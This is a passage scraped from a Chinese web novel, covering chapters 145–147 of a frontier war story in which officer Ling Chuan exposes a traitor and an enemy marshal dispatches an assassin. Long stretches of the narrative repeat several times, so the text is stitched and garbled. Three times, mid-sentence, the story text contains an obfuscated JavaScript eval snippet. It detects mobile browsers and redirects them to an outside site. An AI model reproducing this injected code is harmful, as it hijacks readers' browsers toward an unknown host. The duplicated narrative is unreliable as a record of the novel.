身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958657|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 说道:“第一,不是我下令让他放的箭,其次,他若是真想**,这一箭绝不会只射中头盔!” “哼!那不过是他箭术太差,射偏了而已!”吴楷依旧狡辩。 听到这话,凌川嘴角浮现出一抹笑意,他身后的云岚军更是快要笑出声来。 竟然有人说聂星寒箭术太差,这似乎是他们听到的最好笑的笑话。 凌川也笑盈盈地扭头对聂星寒说道:“他说你箭术太差,你难道不做点什么吗?” 得到凌川的暗示,聂星寒果断取出一支铁箭搭在弦上,随即,一气呵成将其拉至满弦。 韩青池忽然瞳孔一缩,因为,他发现,聂星寒手中的赫然是一把铁胎弓。 “嗡……” 忽闻一声弓弦颤动,只见弓弦之上的铁箭飞射而出,紧接着,碉楼之上传来一声沉闷的锣响,众人定睛一看,只见那面悬挂在碉楼之上的铜锣被一箭洞穿,正中间的位置出现一个手指大小的洞,前后透亮。 现场鸦雀无声,不少士兵不自觉地张大嘴巴,满脸的不可思议。 就算是韩青池与宋景二人,眼神之中也写满了惊骇。 要知道,此地距离碉楼可有足足两百多步的距离,而且,那铜锣悬挂在空中,一直在随风飘荡,聂星寒竟然能一箭命中正中间的位置。 如此惊人的箭术,放眼整个北系军都找不出几个。 “我若真想杀你,你早就见阎王了!”聂星寒声音冰冷,随即缓缓收起自己的铁胎弓。 事到如今,傻子都知道是怎么回事,韩青池沉着一张脸喝道:“来人!” 身后几名亲兵走上前来,吴楷等人更是脸色苍白,不等他开口求饶,韩青池的声音再次传来: “免去吴楷校尉之职,扒了他们的铠甲,压入大牢!” 原本,这不过是一件小事,凌川也并非心胸狭隘之人,之前已经给对方台阶了,奈何吴楷不识趣,那自己也没必要留情。 同样,对于韩青池而言,吴楷无疑是让颜面尽失,这一肚子的火不找他找谁? 当然,还有一个原因,那就是云岚军刚才立下赫赫战功,自己若是不严肃处理,定会引发众怒。 “本将御下无方,让两位见笑了!”韩青池对着二人抱拳说道。 凌川与宋景也只是笑着说无妨,随后,凌川便跟着二人进入城中,至于其他人,则是被安排下去休整。 原本铁鳞城的县衙成了临时的议事堂,正堂之中摆着一桌酒菜,韩青池热情招呼两人落座。 “来,就当我们是提前和凌校尉的庆功酒了!”韩青池率先举起碗说道,宋景见状,也跟着举起酒碗对凌川祝贺。 三人将碗中米酒一饮而尽,韩青池笑道:“听说凌校尉酿了一种名为狼血的酒,烈如火、猛如狼,一般人一碗即倒,不知何时有机会能尝一尝!” “韩将军言重了,等此番战事结束,我让人送几坛到将军府上!”凌川笑着说道。 “那我可就当真了啊!” 紧接着,韩青池又端起一碗酒,说得:“凌川兄弟,刚才的事情实在抱歉,我老韩在此给你赔罪了!” 堂堂三品将军放下姿态给自己赔罪,凌川岂敢托大,连忙端起酒碗站起身来。 “韩将军万万不可,我凌川受不起!” 一番交谈,三人的关系拉进了不少,不过,凌川内心却丝毫不敢放松警惕。 之前在城中的事件,看似一个不起眼的插曲,可凌川却觉得,事情没那么简单。 自己与吴楷素不相识,他没有理由针对自己,思来想去只有一种可能,那就是有人授意吴楷找自己的麻烦,其目的是想借韩青池的手打压自己,再不济也能让自己与韩青池彼此对立。 第145章 声东击西! 首先排除韩青池,毕竟他完全没必要用这种拙劣的手段,更用不着自己亲自下场。 至于宋景,他若要找自己麻烦,最好的理由便是以自己未能按时抵达,以延误军机的罪名,正当且充分。 韩青池亲自为二人倒满酒,问道:“凌川兄弟,今日一战,你可算是让老韩我大开眼界啊,赶快给我们讲讲!” 凌川倒也没有隐瞒,将整个过程原原本本地复述了一遍,二人听后,皆是震惊得说不出话来。 先是潜入敌军大营,实施斩首行动,紧接着,动用仅有的一千五百兵力,对营帐发起冲锋,驱赶辅兵给大营制造混乱,最终让胡羯整片营帐彻底‘炸营’,一环扣一环,每一个细节都拿捏得丝毫不差。 他们实在难以相信,这一连串堪称完美的作战计划,竟然出自眼前这个仅有十六岁的少年之手,恍惚间,他们似乎看到了一颗璀璨将星在冉冉升起。 “胡羯人为何悄悄撤军,只留下一部分人佯攻铁鳞城,这到底是在玩哪一出?”韩青池摸着下巴,眼神中满是疑惑。 宋景闻言,神色陡然一变,问道:“胡羯主力军可是撤回斡拏城?” “之前接到的消息是,往西边撤了!”凌川回答道。 “不好!”宋景猛然起身,快步来到沙盘跟前。 韩青池似乎也意识到了这一点,连忙放下酒碗,紧跟着来到沙盘跟前,二人的目光紧盯着铁鳞城的位置,然后缓缓向西边移动,最终,定格在了朝天垭。 显然,他们都明白了胡羯人的真实目的。 “之前就觉得,胡羯七路大军,既没有攻打陵州的老龙口,也没有攻打阑州的朝天垭,偏偏对地形最为复杂的朔州发起进攻,这完全不符合常理,原来是打的这个主意!”宋景沉声说道。 韩青池也点了点头,说道:“他们攻打朔州不过是假象,其目的是将北疆关内可调动的兵力全部吸引过来,然后他们再悄然撤军,集中力量攻打另一处!” “如果不出意外,今晚狼蚀便会带着剩下的几千兵力撤离,等咱们发现异常出城查看,留给咱们的只有几千座空帐,可是他们做梦也想不到,半路杀出一支云岚军,将他们这六千战兵和三千多辅兵吃了个干干净净!” 宋景看向韩青池,抱拳说道:“韩将军,请你这边立马派人赶往阑州报信,让他们早做准备!” “二位将军不用担心,我昨夜已经派人前去阑州报信了!”凌川说道。 韩青池点了点头:“驻守阑州的皆是精锐,此前卢帅更 是派薛镇锷率一万重甲镇守朝天垭,就算胡羯人增兵,想要攻下朝天垭也绝非易事!” 朝天垭与老龙口作为北疆两大门户,其险要程度虽不及狼烽口,但也是占尽地利之势,易守难攻。 随后,三人就目前局势展开了一番讨论,胡羯出动七路大军,如今还剩下六路大军,总兵力超过了二十万,这应该是近些年来规模最大的一次调兵了,堪称是全面开战。 “拓跋桀应该是坐不住了,想要一举攻破北疆防线,以此来堵住天汗城各部落首领的嘴!”宋景分析道。 韩青池神色中带着几分凝重,说道:“如无意外,接下来的主战场将会在阑州,估计很快节度府便会传令让宋将军你率军赶赴阑州支援!” 凌川微微摇了摇头,说道:“我看未必,如果阑州久攻不下,胡羯人多半会几路大军同时发起进攻,到时候,整个北疆边境全线开战!” “哼!”宋景冷哼一声,“全面开战又何妨?老子当兵的第一天就做好了长眠边关的准备了!” “凌兄弟说得对,我得去督促下面赶紧修缮城墙!”韩青池起身说道:“两位,你们先喝着,我就先失陪了!” 送走韩青池,凌川与宋景二人坐回来,继续喝酒。 “将军,卑职想明日一早赶往朝天垭支援!”凌川放下酒碗,对宋景抱拳说道。 此次,云州军由宋景担任主将,自然应该向他请示,而且,这一番相处下来,他发现,宋景并非 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964067|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己想象中的那种阴险之辈。 宋景眼神中闪过诧异之色,笑问道:“此次你云岚军两战皆是大获全胜,大半军功都被你给捞走了,还不知足?” 凌川尴尬笑道:“将军误会了,属下此次不为军功!” 宋景似是想到了什么,问道:“你是为陈暻垚?” “是!”凌川没有否认。 宋景十分为难,他虽为云州军主将,但这种擅自行动,明显有违军纪。 沉思片刻后,宋景满脸严肃地说道:“从始至终,你都没跟我提过这事,是你私自出兵去的阑州,懂吗?” “明白!” 凌川点头答应,如此明显的潜台词他又岂会听不懂? 去阑州是他个人行为,自然不能让宋景来担这个风险,到时候节度府真要追究起来,也理当由自己一人承担。 “我知道,鬼哭岭外那场截杀,你怀疑是我泄露了你们的行踪!”宋景看着凌川的眼睛,继续说道: “我承认,在某些时候,我有自己的私心,包括这次出发前,也有人对我许以好处,让我找机会除掉你!”宋景没有任何保留,直言说道。 “但,我宋景绝非那种毫无底线之人,为了利益,我可以做一些有违道义的事情,但**贼三个字太重,我宋景背不起,宋家先辈同样背不起!” 凌川点了点头,说道:“属下自然是相信宋将军,不过,我刚出鬼哭岭便遇到胡羯骑兵,这绝非巧合!” “当然不会是巧合!”宋景直摘下自己的佩刀,横放在桌上。 此举让凌川眉头微皱,一只手下意识地搭在刀柄之上,不过,很快便将手松开,选择了相信宋景。 “把人带进来!” 宋景对门外喊了一声,很快两名亲兵架着一个人走了进来,此人身着长衫,头顶方巾,一副书生打扮。 来人不是别人,正是行军参事,汪岐! 被这么架进来,汪岐眼神中满是愤怒,喝问道:“宋将军,你这是什么意思?” 第146章 汪岐伏诛! 宋景看着他冷声问道:“汪参军不用紧张本将请你过来是有几个问题想请教一下!” “莫非这就是宋将军请人的方式吗?”汪岐冷哼一声目光则是在桌上那把战刀以及坐在一旁的凌川之间来回游走。 “手下人**手毛脚回头我亲自惩罚他们!”宋景面带微笑不过那笑容之中却带着几分寒意。 汪岐见状就要坐下忽然感觉汗**一竖只见宋景用冰冷的眼神盯着他。 “我让你坐了吗?”宋景声音冰冷目光如寒霜。 汪岐连忙起身眼神中带着一丝丝的畏惧他从未见过这种态度的宋景。 “属下事务繁忙宋将军要问什么就赶紧问吧!”汪岐也是一脸不悦地说道。 宋景看着他问道:“是不是你把云岚军的行踪泄露给了胡羯人导致云岚军在鬼哭岭外遭遇截杀?” 汪岐脸色顿时一变目光扫了一眼坐在一旁的凌川。 今天上午宋景便问过他当时汪岐用那三千胡骑的军功为诱饵本以为宋景已经答应自己的提议。 可现在宋景再次提及而且 “将军这话什么意思?当时可是你下令让云岚军改道出关的怎么出了事就把责任往属下身上推呢?” 宋景冷笑一声说道:“不错命令是本将下达的但你别忘了是你三番五次提议极力促成而且若不是有人给胡羯人泄密云岚军怎么可能一出关便遭遇截杀?” “宋将军你虽为一军主将但如此说话未免太让人寒心了吧?”汪岐一脸愤懑之色反问道:“那么多人知道云岚军改道的消息难道就因为是我提议的便是我泄的密?” “如今边关剑拔**张他们遇到胡羯军不也在情理之中吗?宋将军若想杀我只需一道命令即可何须找这么一个莫须有的罪名?” 宋景眉头一皱他可以肯定是汪岐泄的秘但对方矢口否认他一时间还真找不到有力的证据。 就在此时凌川缓缓放下酒杯说道:“汪参军该不会是忘了你给胡羯人的密信吧?” 此言一出汪岐脸色剧变连忙说道:“不可能我特意嘱咐密信看完即焚……” 听到这话凌川脸上露出一抹笑容汪岐这才意识到自己竟然在慌乱之下说漏了嘴。 “小王八蛋你诈我!”汪岐愤怒至极浑身颤抖。 凌川则是端起酒杯淡笑道:“有道 是兵不厌诈,你身为参军谋士,难道连这么浅显的道理都不明白吗?” “你……” “唰……” 一道寒芒闪过,只见宋景猛然拔出自己的宝刀,架在汪岐的脖子上。 后者只感觉浑身冰凉,恐怖杀意宛如寒冰将他包裹。 “事到如今,你还有什么遗言?”宋景沉声问道。 “宋将军,我……”汪岐浑身颤抖,双眼写满了恐惧:“宋将军,我就算有罪,也该被送回节度府,听卢帅发落,你无权处置我!” 宋景冷笑一声,说道:“卢帅很忙,没时间处理这种小事!” 话音刚落,那冰冷的刀锋便从汪岐的脖子抹过。 “嗤!” 一抹鲜血飞溅而出,汪岐双目一瞪,连忙伸手捂着脖子,然而,一切都无济于事,鲜血依旧从指缝中冒了出来。 汪岐带着不敢与恐惧,缓缓倒地。 对于宋景这种沙场悍将而言,**是再平常不过的事情。 只见他不慌不忙地在汪岐身上擦掉刀身上的血迹,随即归入鞘中。 “我说过,今日会给你一个交代!”宋景看了一眼地上还在抽搐的尸体,说道:“就当是拿他祭旗,愿你阑州之行如之前这般势如破竹,所向无敌!” “谢将军!”凌川起身,对宋景行了一礼,“将军杀了他,会不会有些麻烦?” 宋景不以为意道:“通敌**的贼子,人人得而诛之,他章绩若要来问罪,我便找卢帅主持公道!” 看来,宋景很清楚汪岐是章绩的人,但,还是毫不犹豫地将其斩杀。 紧接着,他又对亲兵交代道:“让人写两封奏折,一封为凌川 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964068|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及麾下云岚军请功,另一封阐明朔州战况以及汪岐通敌被就地正法之事!” 亲兵领命而去,顺带将汪岐的尸体搬走,二人则是继续喝酒,一直到夜间。 回到营中,几名标长连忙围了上来,一个个眼神中满是担忧,问道:“大人,他们没为难你吧?” 凌川笑着摇了摇头,将事情的前因后果以及汪岐被宋景亲手诛杀大致说了一下。 “看来,咱们之前真是误会宋将军了!”唐岿然说道。 “今日城外一战,咱们损失了多少兄弟?”凌川一边脱掉盔甲,一边问道。 几名标长并未第一时间作答,而是笑着问道:“大人不妨猜猜!” 见他们几个卖关子,凌川便大致猜到,肯定伤亡很小,否则,谁会有心情开玩笑? “说吧,几个?”凌川将自己的铠甲挂起来,说道。 众人对着他一阵摇头。 “让你们报告战损情况,摇头是几个意思?” “报告大人,无人阵亡,只有十余人受伤!”薛焕之笑着说道。 听到这话,哪怕是凌川都震惊了,不过,想到这一战基本上没有正面交锋的情况,一开始是驱赶辅兵制造混乱,后面则是利用弓箭远程射杀。 “让兄弟们早些休息,明日天亮之前出城!”凌川对众人说道。 “是!”众人领命,相继回到各标营地。 凌川则是来到隔壁营房,查看了一下沈珏的伤势。 只见沈珏趴在床上,后背的伤口已经包扎处理好了。 见凌川到来,沈珏正要起身,却被凌川伸手制止。 “痛得睡不着吧?” 沈珏笑了笑,说道:“这点伤不算什么,只是看到兄弟们一个个都在喝酒,喉咙发痒!” 凌川笑骂道:“好好养伤,回头我送你一坛狼血!” 沈珏闻言,顿时双眼放光,激动地说道:“大人,你可说话算数!” 凌川伸手敲了敲他的脑袋,“我什么时候说话不算数了?” 第147章 蛇窟,蚁窠! 次日,天还没亮,云岚军便已整顿完毕。 就在这时,火头军送来一筐筐刚出笼的热馒头,交给凌川。 显然,这是宋景的安排,因为只有他知道自己今早要出城。 “替我感谢宋将军!”凌川对那名校尉表达谢意,随后让各标将馒头分发给大家,动身出城。 铁鳞城距离阑州最近的地界都有两百余里,进入阑州地界之后,再往前走二十里便是陈暻垚镇守的武定关,至于朝天垭,则还需往前三十里。 他们从关内走,无疑会更安全,但,凌川还是决定从关外过去,这样可以省下一些时间。 经过昨晚的修整,无论是士兵还是战马,都恢复了很多,再加上一人两匹马可以替换乘骑,大大提升了行军速度。 一路西行五十余里,凌川见到了纪天禄派来的人。 “属下斥候队副队闻侩,见过大人!” 凌川认识闻侩,他曾是原南系军斥候,几个月前被选入斥候队之中,担任副队。 “胡羯的两万兵马行进到哪儿了?”凌川问道。 “按时间算,此时应该在前方一百里左右,队长带人一直跟着的!”闻侩回答道。 两万大军的行进速度是相当缓慢的,每天几十里乃是常事。 “可曾摸清,领军之人是谁?”凌川又问道。 “咱们之前抓了几个舌头,打探到,领军之人名为孛儿帖,乃是草原一强大部落的首领,实力非凡。且极擅用兵!” 凌川听完,冷笑道:“要说排兵布阵,我是他们祖宗!” 这话虽有些狂妄,但也绝非信口开河,凌川的脑子里可是装着华夏民族几千年的智慧结晶,随便拿点边角料都够对方研究一辈子。 当然,凌川也不会狂妄轻敌。 昨晚与宋景交谈中他得知,此次的七路大军主将皆是名震沙场的百战老将,相比起拓跋桀麾下的七大战将,这几人无论是在军中的威信,还是用兵能力都更为老辣。 拓跋桀麾下的七大战将,虽然在北疆一带名声响亮,但放眼胡羯却只能算是第二梯队,甚至,大部分都是后起之秀。 但,这七位老将却不同,他们皆是各大部落的核心人物,放眼胡羯帝国无论是军中还是朝堂,都有着极高的威信,哪怕是胡羯可汗见了他们也是以礼相待。 这次天汗城之所以派出这批老将,一方面是协助拓跋桀一举攻破大周的北疆防线,彻底拉开南征序幕。 还有一个重要原因,那就是分走拓跋桀的权力, 避免他一人独揽大权。 由此可见,天汗城那位,对于拓跋桀这位同父异母的兄长,并不是那么信任。 原本凌川以为,昨日斩杀的狼蚀是与穆尔扎之流差不多的将领,不曾想,对方的地位远比穆尔扎高了好几个级别,若是论及背后的部落势力,两者间根本就没有可比性。 “去往阑州的人有回信了吗?”凌川又问道。 闻侩摇了摇头,说道:“目前还没有!” “告诉纪天禄,只需时刻关注他们的动向,不可贸然犯险,有情况即刻向我汇报!”凌川对闻侩说道。 “属下明白!”闻侩领命而去。 凌川则是继续带领队伍前行,按照他们的行军速度,只要稍加追赶,日落之前便可追上胡羯的两万大军。 不过,凌川并未如此,依旧是保持着现在的速速,远远吊在后面。 与此同时,远在斡拏城的拓跋桀已经得知了狼蚀战死的消息。 饶是沉稳如他,此刻也无法抑制内心的怒火。 六千战兵加三千多辅兵,近万人,竟然被人杀得片甲不留,就连身为主将的狼蚀都被人砍去了脑袋。 他统领南征军与卢恽筹对抗这么多年,一直都是胜多败少,大胜小败,何曾吃过这么大的亏? 近几个月来,先后在狼烽口损兵折将,这一次更是在铁鳞城外折损了一万兵马,可谓是奇耻大辱。 对于拥有四十万大军的他而言,区区一万人还不至于伤筋动骨,可他始终感觉胸口发堵,比吃了一只死老鼠还要难受。 原本,攻打朔州不过是声东击西,就算攻下铁鳞城,对于他而言,意义也不大,但,损失这么多兵马,却让他有一种搬起石头砸自己脚的感觉。 就在这时,那名通信兵再次说道:“主帅,据不确切消息,狼蚀将军是死在凌川手中,而且,火烧大营的,也是他!” 听到凌川这个名字,拓跋桀的嘴角狠狠抽了几下。 按理说,区区一个周军校尉,还没资格让他记住名字,可这个凌川除外。 这几个月来,他已经多次听到这个人的名字了,先是穆尔扎和巴查尔兄弟死在他手中,紧接着血鸦百夫长须卜彦也失联于狼烽口,随后是霍元青铩羽而归,再加上这次…… 此时,拓跋桀还不知道消失在鬼哭岭外那三千骑也是被凌川干掉的,否则,他非得原地发疯。 “凌川那小王八蛋现在何处?”拓跋桀沉着脸问道。 “他今早带手下一千五百兵马,离开了铁鳞城, 看样子是朝着朝天垭而去!”传信兵回答道。 拓跋桀点了点头,挥手让传信兵退下。 半个时辰后,一名浑身被黑袍笼罩的身影出现在元帅府,他手持一把长剑,剑柄和剑鞘之上布满鳞片,宛如一条凶猛的毒蛇。 “主帅,你找我?” 黑袍之中传出一道苍老而嘶哑的声音,但更多的是冷漠。 那是一种源自骨子里的冷,仅凭一道声音,便让人置身于冰冷的黑暗之中。 “蛇王,你的剑有多少年没出过鞘了?”拓跋桀看着那道身影,问道。 “不记得了,大概是十年,又或者是二十年……”黑袍之下的声音依旧冰冷,不带一丝一毫的情感。 “朝天垭那边可有消息?”拓跋桀问道。 “一刻钟前传回消息,二十三个目标,十一个得手!” 和拓跋桀听后,脸上终于露出了笑容。 “很好,看来,朝天垭不日便可告破!”拓跋桀大笑道:“此次,蛇窟立下大功,而蛇王你更是居功至伟!” 黑袍就这么静静站在那里,没有说话。 “把你的人都召回来吧,那可都是不可多得的好苗子,更是你这些年花费心血手把手教出来的,损失一个本帅都心疼!” “是!” 就在此时,拓跋桀似乎想起了什么,又说道:“周军之中有一位年轻校尉,名叫凌川,现正带着人在赶去朝天垭的路上,顺手把他的人头摘回来!” “是!” 黑袍说完便转身走了出去。 看着那道略显佝偻的背影,拓跋桀不由得轻叹了一口气。 也不知是时光磨掉了他一身锐气,还是当年那一战,斩断了他一身傲骨,你堂堂蛇王,就真的甘心**湖遗忘吗? 看样子是朝着朝天垭而去!”传信兵回答道。 拓跋桀点了点头,挥手让传信兵退下。 半个时辰后,一名浑身被黑袍笼罩的身影出现在元帅府,他手持一把长剑,剑柄和剑鞘之上布满鳞片,宛如一条凶猛的毒蛇。 “主帅,你找我?” 黑袍之中传出一道苍老而嘶哑的声音,但更多的是冷漠。 那是一种源自骨子里的冷,仅凭一道声音,便让人置身于冰冷的黑暗之中。 “蛇王,你的剑有多少年没出过鞘了?”拓跋桀看着那道身影,问道。 “不记得了,大概是十年,又或者是二十年……”黑袍之下的声音依旧冰冷,不带一丝一毫的情感。 “朝天垭那边可有消息?”拓跋桀问道。 “一刻钟前传回消息,二十三个目标,十一个得手!” 和拓跋桀听后,脸上终于露出了笑容。 “很好,看来,朝天垭不日便可告破!”拓跋桀大笑道:“此次,蛇窟立下大功,而蛇王你更是居功至伟!” 黑袍就这么静静站在那里,没有说话。 “把你的人都召回来吧,那可都是不可多得的好苗子,更是你这些年花费心血手把手教出来的,损失一个本帅都心疼!” “是!” 就在此时,拓跋桀似乎想起了什么,又说道:“周军之中有一位年轻校尉,名叫凌川,现正带着人在赶去朝天垭的路上,顺手把他的人头摘回来!” “是!” 黑袍说完便转身走了出去。 看着那道略显佝偻的背影,拓跋桀不由得轻叹了一口气。 